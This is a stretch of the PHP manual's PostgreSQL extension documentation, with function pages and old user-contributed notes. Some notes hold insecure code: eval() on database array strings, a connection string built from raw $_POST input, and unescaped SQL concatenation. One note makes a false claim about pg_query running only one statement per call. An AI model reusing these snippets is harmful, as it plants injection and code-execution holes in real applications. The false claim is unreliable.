Returned by pg_transaction_status(). The connection is idle, in a transaction block.
PGSQL_TRANSACTION_INERROR (integer)
Returned by pg_transaction_status(). The connection is idle, in a failed transaction block.
PGSQL_TRANSACTION_UNKNOWN (integer)
Returned by pg_transaction_status(). The connection is bad.
PGSQL_DIAG_SEVERITY (integer)
Passed to pg_result_error_field(). The severity; the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message), or a localized translation of one of these. Always present.
PGSQL_DIAG_SQLSTATE (integer)
Passed to pg_result_error_field(). The SQLSTATE code for the error. The SQLSTATE code identifies the type of error that has occurred; it can be used by front-end applications to perform specific operations (such as error handling) in response to a particular database error. This field is not localizable, and is always present.
PGSQL_DIAG_MESSAGE_PRIMARY (integer)
Passed to pg_result_error_field(). The primary human-readable error message (typically one line). Always present.
PGSQL_DIAG_MESSAGE_DETAIL (integer)
Passed to pg_result_error_field(). Detail: an optional secondary error message carrying more detail about the problem. May run to multiple lines.
PGSQL_DIAG_MESSAGE_HINT (integer)
Passed to pg_result_error_field(). Hint: an optional suggestion what to do about the problem. This is intended to differ from detail in that it offers advice (potentially inappropriate) rather than hard facts. May run to multiple lines.
PGSQL_DIAG_STATEMENT_POSITION (integer)
Passed to pg_result_error_field(). A string containing a decimal integer indicating an error cursor position as an index into the original statement string. The first character has index 1, and positions are measured in characters not bytes.
PGSQL_DIAG_INTERNAL_POSITION (integer)
Passed to pg_result_error_field(). This is defined the same as the PG_DIAG_STATEMENT_POSITION field, but it is used when the cursor position refers to an internally generated command rather than the one submitted by the client. The PG_DIAG_INTERNAL_QUERY field will always appear when this field appears.
PGSQL_DIAG_INTERNAL_QUERY (integer)
Passed to pg_result_error_field(). The text of a failed internally-generated command. This could be, for example, a SQL query issued by a PL/pgSQL function.
PGSQL_DIAG_CONTEXT (integer)
Passed to pg_result_error_field(). An indication of the context in which the error occurred. Presently this includes a call stack traceback of active procedural language functions and internally-generated queries. The trace is one entry per line, most recent first.
PGSQL_DIAG_SOURCE_FILE (integer)
Passed to pg_result_error_field(). The file name of the PostgreSQL source-code location where the error was reported.
PGSQL_DIAG_SOURCE_LINE (integer)
Passed to pg_result_error_field(). The line number of the PostgreSQL source-code location where the error was reported.
PGSQL_DIAG_SOURCE_FUNCTION (integer)
Passed to pg_result_error_field(). The name of the PostgreSQL source-code function reporting the error.
PGSQL_ERRORS_TERSE (integer)
Passed to pg_set_error_verbosity(). Specified that returned messages include severity, primary text, and position only; this will normally fit on a single line.
PGSQL_ERRORS_DEFAULT (integer)
Passed to pg_set_error_verbosity(). The default mode produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines).
PGSQL_ERRORS_VERBOSE (integer)
Passed to pg_set_error_verbosity(). The verbose mode includes all available fields.
PGSQL_STATUS_LONG (integer)
Passed to pg_result_status(). Indicates that numerical result code is desired.
PGSQL_STATUS_STRING (integer)
Passed to pg_result_status(). Indicates that textual result command tag is desired.
PGSQL_CONV_IGNORE_DEFAULT (integer)
Passed to pg_convert(). Ignore default values in the table during conversion.
PGSQL_CONV_FORCE_NULL (integer)
Passed to pg_convert(). Use SQL NULL in place of an empty string.
PGSQL_CONV_IGNORE_NOT_NULL (integer)
Passed to pg_convert(). Ignore conversion of NULL into SQL NOT NULL columns.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
PostgreSQL


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
PostgreSQL


Basic usage

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a PostgreSQL database.

Example #1 PostgreSQL extension overview example

<?php
// Connecting, selecting database
$dbconn = pg_connect("host=localhost dbname=publishing user=www password=foo")
    or die('Could not connect: ' . pg_last_error());

// Performing SQL query
$query = 'SELECT * FROM authors';
$result = pg_query($query) or die('Query failed: ' . pg_last_error());

// Printing results in HTML
echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// Free resultset
pg_free_result($result);

// Closing connection
pg_close($dbconn);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
PostgreSQL Functions
Examples


PostgreSQL Functions

Notes

Note:

Not all functions are supported by all builds. It depends on your libpq (The PostgreSQL C client library) version and how libpq is compiled. If PHP PostgreSQL extensions are missing, then it is because your libpq version does not support them.

Note:

Most PostgreSQL functions accept connection as the first optional parameter. If it is not provided, the last opened connection is used. If it doesn't exist, functions return FALSE.

Note:

PostgreSQL automatically folds all identifiers (e.g. table/column names) to lower-case values at object creation time and at query time. To force the use of mixed or upper case identifiers, you must escape the identifier using double quotes ("").

Note:

PostgreSQL does not have special commands for fetching database schema information (eg. all the tables in the current database). Instead, there is a standard schema named information_schema in PostgreSQL 7.4 and above containing system views with all the necessary information, in an easily queryable form. See the » PostgreSQL Documentation for full details.

Table of Contents

  • pg_affected_rows — Returns number of affected records (tuples)
  • pg_cancel_query — Cancel an asynchronous query
  • pg_client_encoding — Gets the client encoding
  • pg_close — Closes a PostgreSQL connection
  • pg_connect — Open a PostgreSQL connection
  • pg_connection_busy — Get connection is busy or not
  • pg_connection_reset — Reset connection (reconnect)
  • pg_connection_status — Get connection status
  • pg_convert — Convert associative array values into suitable for SQL statement
  • pg_copy_from — Insert records into a table from an array
  • pg_copy_to — Copy a table to an array
  • pg_dbname — Get the database name
  • pg_delete — Deletes records
  • pg_end_copy — Sync with PostgreSQL backend
  • pg_escape_bytea — Escape a string for insertion into a bytea field
  • pg_escape_identifier — Escape a identifier for insertion into a text field
  • pg_escape_literal — Escape a literal for insertion into a text field
  • pg_escape_string — Escape a string for query
  • pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_fetch_all_columns — Fetches all rows in a particular result column as an array
  • pg_fetch_all — Fetches all rows from a result as an array
  • pg_fetch_array — Fetch a row as an array
  • pg_fetch_assoc — Fetch a row as an associative array
  • pg_fetch_object — Fetch a row as an object
  • pg_fetch_result — Returns values from a result resource
  • pg_fetch_row — Get a row as an enumerated array
  • pg_field_is_null — Test if a field is SQL NULL
  • pg_field_name — Returns the name of a field
  • pg_field_num — Returns the field number of the named field
  • pg_field_prtlen — Returns the printed length
  • pg_field_size — Returns the internal storage size of the named field
  • pg_field_table — Returns the name or oid of the tables field
  • pg_field_type_oid — Returns the type ID (OID) for the corresponding field number
  • pg_field_type — Returns the type name for the corresponding field number
  • pg_free_result — Free result memory
  • pg_get_notify — Gets SQL NOTIFY message
  • pg_get_pid — Gets the backend's process ID
  • pg_get_result — Get asynchronous query result
  • pg_host — Returns the host name associated with the connection
  • pg_insert — Insert array into table
  • pg_last_error — Get the last error message string of a connection
  • pg_last_notice — Returns the last notice message from PostgreSQL server
  • pg_last_oid — Returns the last row's OID
  • pg_lo_close — Close a large object
  • pg_lo_create — Create a large object
  • pg_lo_export — Export a large object to file
  • pg_lo_import — Import a large object from file
  • pg_lo_open — Open a large object
  • pg_lo_read_all — Reads an entire large object and send straight to browser
  • pg_lo_read — Read a large object
  • pg_lo_seek — Seeks position within a large object
  • pg_lo_tell — Returns current seek position a of large object
  • pg_lo_unlink — Delete a large object
  • pg_lo_write — Write to a large object
  • pg_meta_data — Get meta data for table
  • pg_num_fields — Returns the number of fields in a result
  • pg_num_rows — Returns the number of rows in a result
  • pg_options — Get the options associated with the connection
  • pg_parameter_status — Looks up a current parameter setting of the server.
  • pg_pconnect — Open a persistent PostgreSQL connection
  • pg_ping — Ping database connection
  • pg_port — Return the port number associated with the connection
  • pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion.
  • pg_put_line — Send a NULL-terminated string to PostgreSQL backend
  • pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
  • pg_query — Execute a query
  • pg_result_error_field — Returns an individual field of an error report.
  • pg_result_error — Get error message associated with result
  • pg_result_seek — Set internal row offset in result resource
  • pg_result_status — Get status of query result
  • pg_select — Select records
  • pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
  • pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion.
  • pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s).
  • pg_send_query — Sends asynchronous query
  • pg_set_client_encoding — Set the client encoding
  • pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error and pg_result_error.
  • pg_trace — Enable tracing a PostgreSQL connection
  • pg_transaction_status — Returns the current in-transaction status of the server.
  • pg_tty — Return the TTY name associated with the connection
  • pg_unescape_bytea — Unescape binary for bytea type
  • pg_untrace — Disable tracing of a PostgreSQL connection
  • pg_update — Update table
  • pg_version — Returns an array with client, protocol and server version (when available)

User Contributed Notes

cc[plus]php[at]c2se[dot]com 25-Mar-2009 09:12
Parsing a postgres array can be a tricky problem, he's my take on this, it handles multi-dimensional arrays plus escaping using a nasty regexp to determine the limits of each data-item.

<?php
function pg_array_parse( $text, &$output, $limit = false, $offset = 1 )
{
  if( false === $limit )
  {
    $limit = strlen( $text )-1;
    $output = array();
  }
  if( '{}' != $text )
    do
    {
      if( '{' != $text{$offset} )
      {
        preg_match( "/(\\{?\"([^\"\\\\]|\\\\.)*\"|[^,{}]+)+([,}]+)/", $text, $match, 0, $offset );
        $offset += strlen( $match[0] );
        $output[] = ( '"' != $match[1]{0} ? $match[1] : stripcslashes( substr( $match[1], 1, -1 ) ) );
        if( '},' == $match[3] ) return $offset;
      }
      else  $offset = pg_array_parse( $text, $output[], $limit, $offset+1 );
    }
    while( $limit > $offset );
  return $output;
}
?>
rainer at hihn dot org 08-Dec-2008 01:07
<?php
function pg_export_table_content() {
    /*
      * this function exports all contents of all tables in the file import.sql
      * $pg-> = my postgres db class
      */
    $tables = array();
    $mytables = array();

    $all_tables = $pg->query("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' and table_type = 'BASE TABLE';");
    while($row = $pg->fetch_row($all_tables)) {
        $tables[] = $row->table_name;
    }

    $esc[] = "value";
    $esc[] = "time";
    $esc[] = "order";
    $esc[] = "comment";
    $esc[] = "group";
    $esc[] = "time";
    $esc[] = "name";
    $esc[] = "alter";
    $esc[] = "user";

    foreach($tables as $v1) {
        $myqry = "select * from \"".$v1."\"";
        $myres = $pg->query($myqry);
        while($myrow = $pg->fetch_assoc($myres)) {
            $mytables[$v1][] = $myrow;
        }
    }

    $handle = fopen("./import.sql", "w+");

    foreach($mytables as $k1 => $v1) {
        foreach($v1 as $k2 => $v2) {
            foreach($v2 as $k3 => $v3) {
                if(in_array($k3, $esc)) {
                    $mycols[] = "\"".$k3."\"";
                }
                else {
                    $mycols[] = $k3;
                }

                $col_qry = "select column_name, data_type from information_schema.columns where table_name = '".$k1."'";
                $col_res = $pg->query($col_qry);
                while($col_row = $pg->fetch_assoc($col_res)) {
                    $mydatatypes[$col_row["column_name"]] = $col_row["data_type"];
                }

                if(($mydatatypes[$k3] == "integer") || ($mydatatypes[$k3] == "bigint") || ($mydatatypes[$k3] == "smallint")) {
                    if(empty($v3)) {
                        $myval[] = "NULL";
                    }
                    else {
                        $myval[] = $v3;
                    }
                }
                else {
                    $myval[] = "'".$v3."'";
                }
            }
            $myquery = "insert into ".$k1."(".implode(",", $mycols).") VALUES (".implode(",", $myval).");";
            unset($myval,$mycols);
            fwrite($handle, $myquery."\n");
        }
    }

    fclose($handle);
}
?>
Demeter dot Tamas at stud dot u-szeged dot hu 28-Jul-2008 01:40
There is no need to parse a postgres array. The stored procedures should never return an array. Use SETOF instead.
veggivore at yahoo dot com 22-Feb-2008 03:39
Parse a PostgreSQL array of any dimension to a PHP array.

Works great if you absolutely trust the data ;-)

<?php
function pg_array_parse($array, $asText = true) {
    $s = $array;
    if ($asText) {
        $s = str_replace("{", "array('", $s);
        $s = str_replace("}", "')", $s);
        $s = str_replace(",", "','", $s);
    } else {
        $s = str_replace("{", "array(", $s);
        $s = str_replace("}", ")", $s);
    }
    $s = "\$retval = $s;";
    eval($s);
    return $retval;
}
?>
12-Mar-2007 09:28
Quick and dirty emulation of the mysql_select_db () function for Postgres:

<?php

function pg_select_db ($dbName)
{
    $query = '\connect '.pg_escape_string ($dbName);
    if ($result = pg_query ($query))
        return (true);
    else
        return (false);
}
?>

Obviously not a great example, but it at least demonstrates how to implement mysql_select_db functionality when using Postgres.  Or you could always use schemas :)
16-Nov-2006 04:30
Chris KL: Will parse well {"\\"}? The second " will be treat as escaped while it shoudn't...
20-Oct-2006 10:10
Lots of advice on stored procedures didn't work for me.  This did:

<?php
$response = pg_query( $connection, "BEGIN; DECLARE s CURSOR FOR SELECT get_consumer('harry'); FETCH ALL IN s; END;" );
?>

..where harry looks like this:

CREATE OR REPLACE FUNCTION get_consumer( varchar )
RETURNS refcursor
AS '
DECLARE
  _name          ALIAS FOR $1;
  r              refcursor;
BEGIN
  OPEN r FOR SELECT name FROM consumer
  WHERE
    consumer.name = _name
  ;
  RETURN r;
END
' LANGUAGE 'plpgsql';
Chris KL 10-Nov-2005 05:17
Here is a better array parser for PHP.  It will work with 1-d arrays only.  Unlike the example below it will work in all cases.

    /**
     * Change a db array into a PHP array
     * @param $arr String representing the DB array
     * @return A PHP array
     */
    function phpArray($dbarr) {
        // Take off the first and last characters (the braces)
        $arr = substr($dbarr, 1, strlen($dbarr) - 2);

        // Pick out array entries by carefully parsing.  This is necessary in order
        // to cope with double quotes and commas, etc.
        $elements = array();
        $i = $j = 0;
        $in_quotes = false;
        while ($i < strlen($arr)) {
            // If current char is a double quote and it's not escaped, then
            // enter quoted bit
            $char = substr($arr, $i, 1);
            if ($char == '"' && ($i == 0 || substr($arr, $i - 1, 1) != '\\'))
                $in_quotes = !$in_quotes;
            elseif ($char == ',' && !$in_quotes) {
                // Add text so far to the array
                $elements[] = substr($arr, $j, $i - $j);
                $j = $i + 1;
            }
            $i++;
        }
        // Add final text to the array
        $elements[] = substr($arr, $j);

        // Do one further loop over the elements array to remote double quoting
        // and escaping of double quotes and backslashes
        for ($i = 0; $i < sizeof($elements); $i++) {
            $v = $elements[$i];
            if (strpos($v, '"') === 0) {
                $v = substr($v, 1, strlen($v) - 2);
                $v = str_replace('\\"', '"', $v);
                $v = str_replace('\\\\', '\\', $v);
                $elements[$i] = $v;
            }
        }

        return $elements;
    }
1413 at blargh dot com 11-Oct-2005 05:09
Here is some quick and dirty code to convert Postgres-returned arrays into PHP arrays.  There's probably a billion bugs, but since I'm only dealing with variable-depth-and-length arrays of integers, it works for my needs.

Most notably, any data that might have commas in it won't work right...

<?php
function PGArrayToPHPArray($pgArray)
{
  $ret = array();
  $stack = array(&$ret);
  $pgArray = substr($pgArray, 1, -1);
  $pgElements = explode(",", $pgArray);

  ArrayDump($pgElements);

  foreach($pgElements as $elem)
    {
      if(substr($elem,-1) == "}")
        {
          $elem = substr($elem,0,-1);
          $newSub = array();
          while(substr($elem,0,1) != "{")
            {
              $newSub[] = $elem;
              $elem = array_pop($ret);
            }
          $newSub[] = substr($elem,1);
          $ret[] = array_reverse($newSub);
        }
      else
        $ret[] = $elem;
    }
  return $ret;
}
?>
anis_wn at gawab dot com 05-Jun-2005 09:45
Setting up PostgreSQL for higher security PHP connection.

Case:
We want to connect to PostgreSQL database using username and password supplied by webuser at login time.

Fact (Linux):
Apache (perhaps other servers, too) running the server as (default to) apache user account. So if you connect to PostgreSQL using default user, apache will be assingned for it. If you hard code the user and password in your PHP script, you'll loose security restriction from PostgreSQL.

Solution:
(You are assumed to have enough privilege to do these things, though)
1. Edit pg_hba.conf to have the line like the one below
    host    db_Name    [web_server_ip_address] [ip_address_mask] md5
2. Add to you script the login page that submits username and password.
3. Use those information to login to PostgreSQL like these...
<?
    $conn = "host=$DBHost port=$DBPort dbname=$DBName ".
            "user='{$_POST['dbUsername']}' password='{$_POST['dbPassword']}'";
    $db = pg_connect ($conn);
[your other codes go here...]
?>
4. You must add users in PostgreSQL properly.
5. For your convenience, you can store the username and password to $_SESSION variable.

Good luck.
Anis WN
WillowCatkin at hotmail dot com 21-May-2005 06:43
There is an example:
<?php
/*
 * Define PostgreSQL database server connect parameters.
 */
define('PGHOST','10.0.0.218');
define('PGPORT',5432);
define('PGDATABASE','example');
define('PGUSER', 'root');
define('PGPASSWORD', 'nopass');
define('PGCLIENTENCODING','UNICODE');
define('ERROR_ON_CONNECT_FAILED','Sorry, can not connect the database server now!');

/*
 * Merge connect string and connect db server with default parameters.
 */
pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD);

/*
 * generate sql statements to call db-server-side stored procedure(or function)
 * @parameter    string    $proc        stored procedure name.
 * @parameter    array    $paras        parameters, 2 dimensions array.
 * @return        string    $sql = 'select "proc"(para1,para2,para3);'
 * @example    pg_prepare('userExists',
 *                            array(
 *                                array('userName','chin','string'),
 *                                array('userId','7777','numeric')
 *                            )
 * )
 */
function pg_prepare($proc, $paras)
{
    $sql = 'select "' . $proc . '"(';
    $sql .= $paras[0][2] == 'numeric' ? $paras[0][1] : "'" . str_replace("'","''",$paras[0][1]) . "'";
    $len = count($paras);
    for ($i = 1; $i < $len; $i ++)
    {
        $sql .= ',';
        $sql .= $paras[$i][2] == 'numeric' ? $paras[$i][1] : "'" . str_replace("'","''",$paras[$i][1]) . "'";
    }
    $sql .= ');';
    return $sql;
}
?>
adaml at mimuw edu pl 02-Oct-2004 06:07
Yes, PHP does support stored procedures
You have to add "select" before the name of the
procedure, just like that:

$result = pg_querry($conn, "SELECT procedure_x($aa)");

if a procedure returns a cursor you do something like that:

$result = pg_query($conn, "SELECT procedure_x('rcursor'); FETCH ALL IN rcursor");
74012 dot 2773 at compuserve dot com 01-Jul-2004 09:35
for just a list of tables, this works with postgresql-7.2.1:

function pg_list_tables($db) {
    $sql = "select relname from pg_stat_user_tables order by relname;";
    return pg_query($db, $sql);
}
abondi at ijk dot it 26-May-2004 05:11
I've found another function to mimic the following mysql list tables function (http://www.php.net/manual/en/function.mysql-list-tables.php) that's more useful for my target:

function pg_list_tables() {
      $sql = "SELECT a.relname AS Name
          FROM pg_class a, pg_user b
          WHERE ( relkind = 'r') and relname !~ '^pg_' AND relname !~ '^sql_'
          AND relname !~ '^xin[vx][0-9]+' AND b.usesysid = a.relowner
          AND NOT (EXISTS (SELECT viewname FROM pg_views WHERE viewname=a.relname));";
      return(pg_query($conn, $sql));
}
daniel at bichara dot com dot br 30-Dec-2002 05:04
Running RedHat Linux and Apache with suexec enabled you must include pgsql.so on each .php file using dl("pgsql.so") and remove "extension=pgsql.so" from php.ini, otherwise Apache (httpd) will not start.
anonymous at unknown dot com 29-Nov-2002 09:50
I just wanted to add to my previous post I've got the system up and running.
Environment: Windows XP, Apache 1.3.23, Php 4.3 RC2, PostGreSQL beta4 native windows build

Installation was fairly easy:
1. read the readme.txt
2. edit the setenv.bat as described in readme
3. run 'initdb'
    all execs are in /bin
    help is accessed like <command> --help
4. Start the psql deamon - you may want to create a batch file like
    'D:\postgres_beta4\bin\postmaster -h localhost -D D:/postgres_beta4/data'

    --deamon should be up and running now--

You can login into a shell from a console like
    'psql -h localhost -d <username>'

You must load the postgresql extension by editing the php.ini and restarting apache in order to access psql with php.

And one final not: when running
    $dbconn = pg_connect ("host=localhost port=5432 dbname=$dbname user=$user");
remember that $user and or $dbname is CASESENSITIVE.

Oh yeah, I created the data dir manually - don't know whether that was necessary

Grtz Vargo
mystran at wasteland dot pp dot htv dot fi 03-Feb-2002 07:46
Nice to know fact that I didn't find documented here.

PHP will return values of PostgreSQL boolean datatype as single character strings "t" and "f", not PHP true and false.

[Editor's Note]
't' or 'f' is valid boolean expression for PostgreSQL.

All values from PostgreSQL are strings, since PostgreSQL integer, float may be much larger than PHP's native int, double can handle. PostgreSQL array is not supported.
saberit at home dot com 15-Sep-2001 02:11
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
hubert at hubertmuller dot com 09-Jul-2001 04:36
The best way to find the separated list of tables, sequences, keys etc is:

SELECT relname FROM pg_class WHERE relkind='<value>' AND relname !~ '^pg_';

<value> takes:
i for keys,
r for relations,
S for sequences

Note that all tables names that begins with 'pg_' are PostgreSQL internal tables (this explain why I use AND relname !~ '^pg_' condition).
passion at monkey dot org 27-Jun-2001 06:53
I've tried to mimic the following mysql database connection functions for postgres.
http://www.php.net/manual/en/function.mysql-list-dbs.php
http://www.php.net/manual/en/function.mysql-list-tables.php

These are assuming that you're passing in $link as the result from pg_connect:

function pg_list_dbs($link)
{
    $sql = 'SELECT datname FROM pg_database';
    return (pg_query($link, $sql));
}

function pg_list_tables($link)
{
    $sql = "SELECT relname FROM pg_class WHERE relname !~ '^pg_'";
    return (pg_query($link, $sql));
}
!spamcraig at ahdore dot com 15-Apr-2001 01:11
If you want to extract data from select statements, you need to store the result index, and then apply pg_result to that value. Basically, do this

$resultIdx = pg_query ($database, "select * from tablename");
$mySelect = pg_fetch_result($resultIdx, 0, 0);  // gets column 0 of tuple 0
echo("My select: [".$mySelect."]");

I'm new to php and had to do some fiddling around to work this out. It's reasonably elementary, but not demonstrated by the examples on these pages. Hopefully it will come in useful to someone else.
bleach at chek dot com 02-Mar-2000 12:36
If you want to see all the objects in a database, you can find that information in the pg_class table. <BR>
SELECT * FROM pg_class;<BR>
Now this is going to be kind of long and complex, to see how psql command handles the \d and other things. use the syntax.  psql -E <Database>, ie psql -E mydatabase <BR>
What this will do is show the SQL command used for everything. So when you type a \d or something, it shows the SQL query used for the result.
Basic usage
pg_affected_rows
PostgreSQL


Returns number of affected records (tuples)

PostgreSQL Functions
pg_cancel_query
PostgreSQL Functions
PHP Manual

pg_affected_rows

(PHP 4 >= 4.2.0, PHP 5)

pg_affected_rows — Returns number of affected records (tuples)

Description

int pg_affected_rows ( resource $result )

pg_affected_rows() returns the number of tuples (instances/records/rows) affected by INSERT, UPDATE, and DELETE queries.

Note:

This function used to be called pg_cmdtuples().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

The number of rows affected by the query. If no tuple is affected, it will return 0.

Examples

Example #1 pg_affected_rows() example

<?php
$result = pg_query($conn, "INSERT INTO authors VALUES ('Orwell', 2002, 'Animal Farm')");

$cmdtuples = pg_affected_rows($result);

echo $cmdtuples . " tuples are affected.\n";
?>

The above example will output:

1 tuples are affected.

See Also

  • pg_query() - Execute a query
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_num_rows() - Returns the number of rows in a result

User Contributed Notes

Anonymous 20-Dec-2007 03:02
There is something called auto-commit, when you supply more than one query delimited by ; semicolon all-or-none is done if one fails. No need for BEGIN;COMMIT;ROLLBACK when doing one query. its logic to mee pg_affected_rows() returns affected rows and if you want to do 2 queries apart from each other.. do a BEGIN and then 1 and get pg_affected_rows() then do 2 and get pg_affected_rows() and then finally do COMMIT;
Anonymous 14-Nov-2007 07:45
pg-affected-rows () only runs on the LAST SQL STATEMENT executed.  If you compound several statements together then pg_affected_rows might not return what you expect.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\'; COMMIT');

echo (pg_affected_rows ($result));

?>

will cause 0 to be printed, because the last statement executed by Postgres was COMMIT, which doesn't affect any rows.

I haven't tried this so am not certain it works, but you SHOULD be able to get the row counts you want if you split your queries up.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\';');

echo (pg_affected_rows ($result));

pg_query ('COMMIT;');
?>

should allow you to get the number of rows affected by the previous query.  I haven't tried this yet though, so don't count on it.
05-Aug-2005 03:31
That's not quite true, I've been able to execute multiple queries in a single call just fine. In stead, it has to do with the fact this function returns the affected rows for the last executed query, not the last set of queries specified to a single call to pg_query.
29-Jun-2005 06:15
Concering Bruno Baguette's note:

The pg_query function only allows one query per function call.  When you do your
$sql="BEGIN;
INSERT ...
COMMIT;";
$result=pg_query($conn,$sql);
echo pg_affected_rows($result);

you get a zero, because only the BEGIN; is executed.

The single query per call is, I beleive, a PHP builtin protection against SQL injection attacks.  (Ie someone submitting a string paramter that ends the current query and appends another one)
Bruno Baguette 28-Jun-2005 01:45
Note that when you submit several SQL queries, within one BEGIN;COMMIT; like this one :

$SQLQuery = 'BEGIN;';
$SQLQuery.= 'INSERT INTO a (a,b) VALUES (1,2);';
$SQLQuery.= 'INSERT INTO b (ref_b,c) VALUES (2,5);';
$SQLQuery.= 'COMMIT;';

$HandleResults = pg_query($SQLQuery);
echo(pg_affected_rows($HandleResults));

pg_affected_rows() will return 0
PostgreSQL Functions
pg_cancel_query
PostgreSQL Functions


Cancel an asynchronous query

pg_affected_rows
pg_client_encoding
PostgreSQL Functions
PHP Manual

pg_cancel_query

(PHP 4 >= 4.2.0, PHP 5)

pg_cancel_query — Cancel an asynchronous query

Description

bool pg_cancel_query ( resource $connection )

pg_cancel_query() cancels an asynchronous query sent with pg_send_query(), pg_send_query_params() or pg_send_execute(). You cannot cancel a query executed using pg_query().

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_cancel_query() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  // Cancel the currently running query.  Will be the second query if it is
  // still running.
  pg_cancel_query($dbconn);
?>

The above example will output:

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

See Also

  • pg_send_query() - Sends asynchronous query
  • pg_connection_busy() - Get connection is busy or not

User Contributed Notes

There are no user contributed notes for this page.
pg_affected_rows
pg_client_encoding
PostgreSQL Functions


Gets the client encoding

pg_cancel_query
pg_close
PostgreSQL Functions
PHP Manual

pg_client_encoding

(PHP 4 >= 4.0.3, PHP 5)

pg_client_encoding — Gets the client encoding

Description

string pg_client_encoding ([ resource $connection ] )

PostgreSQL supports automatic character set conversion between server and client for certain character sets. pg_client_encoding() returns the client encoding as a string. The returned string will be one of the standard PostgreSQL encoding identifiers.

Note:

This function requires PHP 4.0.3 or higher and PostgreSQL 7.0 or higher. If libpq is compiled without multibyte encoding support, pg_client_encoding() always returns SQL_ASCII. Supported encoding depends on PostgreSQL version. Refer to the PostgreSQL Documentation supported encodings.

The function used to be called pg_clientencoding().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

The client encoding, or FALSE on error.

Examples

Example #1 pg_client_encoding() example

<?php
// Assume $conn is a connection to a ISO-8859-1 database
$encoding = pg_client_encoding($conn);

echo "Client encoding is: ", $encoding, "\n";
?>

The above example will output:

Client encoding is: ISO-8859-1

See Also

  • pg_set_client_encoding() - Set the client encoding

User Contributed Notes

There are no user contributed notes for this page.
pg_cancel_query
pg_close
PostgreSQL Functions


Closes a PostgreSQL connection

pg_client_encoding
pg_connect
PostgreSQL Functions
PHP Manual

pg_close

(PHP 4, PHP 5)

pg_close — Closes a PostgreSQL connection

Description

bool pg_close ([ resource $connection ] )

pg_close() closes the non-persistent connection to a PostgreSQL database associated with the given connection resource.

Note:

Using pg_close() is not usually necessary, as non-persistent open connections are automatically closed at the end of the script.

If there is open large object resource on the connection, do not close the connection before closing all large object resources.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_close() example

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
   or die("Could not connect");
echo "Connected successfully";
pg_close($dbconn);
?>

The above example will output:

Connected successfully

See Also

  • pg_connect() - Open a PostgreSQL connection

User Contributed Notes

nox at macports dot org 27-Jul-2007 01:02
An E_WARNING level warning is generated if the supplied argument is not a valid postgresql link resource.
amays 15-Nov-2005 03:47
pg_close(...) will not technically close a persistent connection but instead returns it back to the connection pool thus giving you the desired effect of having the connection closed within your script.

http://www.sitepoint.com/article/accessing-postgresql-php/3

best wishes to all.
mark at redbrick dot dcu dot ie 24-Mar-2003 06:31
This function closes the current database connection specified by a handle returned from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }

    // Do database stuff here.

    if(!pg_close($pgsql_conn)) {
        print "Failed to close connection to " . pg_host($pgsql_conn) . ": " .
       pg_last_error($pgsql_conn) . "<br/>\n";
    } else {
        print "Successfully disconnected from database";
    }
?>

Of course you normally wouldn't print a message.

Regards, --mark
pg_client_encoding
pg_connect
PostgreSQL Functions


Open a PostgreSQL connection

pg_close
pg_connection_busy
PostgreSQL Functions
PHP Manual

pg_connect

(PHP 4, PHP 5)

pg_connect — Open a PostgreSQL connection

Description

resource pg_connect ( string $connection_string [, int $connect_type ] )

pg_connect() opens a connection to a PostgreSQL database specified by the connection_string.

If a second call is made to pg_connect() with the same connection_string as an existing connection, the existing connection will be returned unless you pass PGSQL_CONNECT_FORCE_NEW as connect_type.

The old syntax with multiple parameters $conn = pg_connect("host", "port", "options", "tty", "dbname") has been deprecated.

Parameters

connection_string

